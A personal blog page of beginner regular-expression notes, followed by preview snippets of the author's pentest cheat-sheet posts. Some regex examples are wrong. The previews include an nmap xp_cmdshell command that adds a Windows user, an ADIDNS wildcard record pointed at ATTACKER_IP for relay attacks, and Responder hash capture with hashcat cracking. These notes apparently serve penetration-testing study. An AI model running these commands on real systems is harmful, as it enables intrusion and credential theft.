Skip to main content

RegEx

RegEx
--------------------------- REGULAR EXPRESSIONS -------------------------------------

/   regex     /

** dont use "/"  forward slash ..
inside your regular expression, should be used at the start and end

"Space" is also a regular expression

------------------------|
Literal Characters:     |
------------------------|

1. Regex --> /ohn/
test String --> ohn, john, mohn{only ohn is matched}

2. Regex -->  /color/
String --> color, colour {color is matched}

------------------------|
Modes: |
------------------------|
modes are placed after ending..  /

/regex/ mode

/regex/       {standard mode- nothing after ending forward slash}

/regex/g {global}
/regex/s {Single line mode}
/regex/i {Case INSensitive Mode}
/regex/m {multi line mode}


Global Mode: /regex/g
------------
global - more than one ; all of the matched strings are selected at once

Case Insensitive: /regex/i "or" /regex/gi
-----------------
color  can be found even when the string is COLOR

by default regex works as case sensitive


------------------------|
    Meta Characters     |
------------------------|
All about Operators

*+-={}()[]^$|?:\.

Wild card Meta Characters:
---------------------------

Any Character except newline : represented by . {dot}
where ever there is dot its takes up the before or after character and counts it in search


1. Regex -->   /.ohn/
Add any character before ohn --> to do that add "."
Example: /.ohn/ matches ohn,john and mohn

2. Regex --> /.ut/
Example: matches cut,put

  /Dr. Jazeb/gi --> drt jazeb can be searched
Pi value   /3.14/gi      --> 3414 3514 3-14 --> can be matched  // wrong
  /3\.14/gi --> 3.14 will only be searched




------------------------|
    Characters Set      |
------------------------|

Notation --> []
we use character set to define a set with certain characters.. RegEx will pick from that certain text

1. Regex --> /[cd]ash/
Example: cash, dash  --> will be matched

2. Regex -> /[vr]a[nd]ish/ Regex will pick v or r from 1st set, n or d from 2nd set
Example:vanish radish vadish ranish   // can be searched

/[abcdefghijklmnopqrstvuqxyz] team/ -- >matches like a team, b team ... z team



------------------------|
    Character Range     |
------------------------|
Notation:  -
Instead of writing all the alphabets just use /a-z/

1. Regex --> /[a-z] team/
Example: a team, b team .... z team


2. Regex --> /[A-Z] team/
Example: A team, B team .. Z team


3. Regex --> /[a-zA-Z] team/
Example: A team, a team,  B team, b team .. Z team, z team


4. Regex --> /[0-9] team/
Example: 1 team, 2 team .. 3 team
For  Digits only 0-9 can be used


5. Regex --> /5[0-9] team/
Example: 51 team, 52 team ... 59 team


Restrictimg Set with Not Symbol:
---------------------------------
Notation: ^

Matches expect anything thats with in the character set..

1. Regex --> /[^abcdef]/   //Doesnt search anything with abcdef
Matches every character expect abcdef

2. Regex --> /[^cd]ash/
Matches anything other than cash and dash

3. Regex --> /[^vr]a[nd]ish/
Matches every character expect vanish radish vadish ranish



------------------------------|
 Escaping Meta Characters     |
------------------------------|

we can not add forward slash in our regular expression, to escape such a string
we need to add "\/" back slash before it

1.Regex ==> D:\\Softwares\\Educational\\Splunk\.txt

to use a backslash in the string add "double back slash"

Search String-->   D:\Softwares\Educational\Splunk.txt

2. Regex ==> D:\\Softwares\\Educational\\Splunk\.txt\t\t
to get a tab space--> \t
Search String--> D:\Softwares\Educational\Splunk.txt

3. Regex ==> D:\\Softwares\\Educational\\Splunk\.txt\t\t\nbhanu
Matches 1 line return ...
Search String-->D:\Softwares\Educational\Splunk.txt
bhanu---------------------------------------(Another line )



-----------------------------|
Escaping Characters Set      |
-----------------------------|

there are only 4 meta characters that you need to espace inside character set
[-/*]]  --> these need to escape from character set

1. Regex ==>  [\-\/\*\]]   // for - ==> \-
// for / ==> \/
// for * ==> \*
// for ] ==> \]

Matched String: [-/*]]


========================================================
Easy way to write Sets
========================================================

\w same as --> /[a-zA-Z0-9_]/ --> word characters and underscore
\W same as --> /[^a-zA-Z0-9_]/ --> No word characters and underscore

























Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD Enum & Kerberos Enum - Bruteforce   Atacking AD with LDAP & kerberos      Step 7: Got Creds - try psexec.py or crackm

Relay Attacks

Hash Hashcat Attack method LM 3000 crack/pass the hash NTLM/NTHash 1000 crack/pass the hash NTLMv1/Net-NTLMv1 5500 crack/relay attack NTLMv2/Net-NTLMv2 5600 crack/relay attack Abusing ADIDNS to Send traffic to the target #Send DNS traffic to the attacker machine, so that we can relay the traffic and gain access to target machines/hashes Import-Module ./ Powermad.ps1 PowerShell New-ADIDNSNode -Node * -Data 'ATTACKER_IP' -Verbose #assign permissions to the ADIDNS Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose Capturing Hashes using responder and cracking hashes #Find the interface of the IP (see via route table) ip route get 10.10.10.10 #start responder sudo proxychains responder -I tun0 -v #Start responder with WPAD Enabled and try to download NTLM hashes if any found python3 Responder.py -I ens160 -wFb -v --lm --disable-ess #Crack the hashes using hashcat hashcat -m 5600 -a 0 hash rockyou.txt -r /usr/share/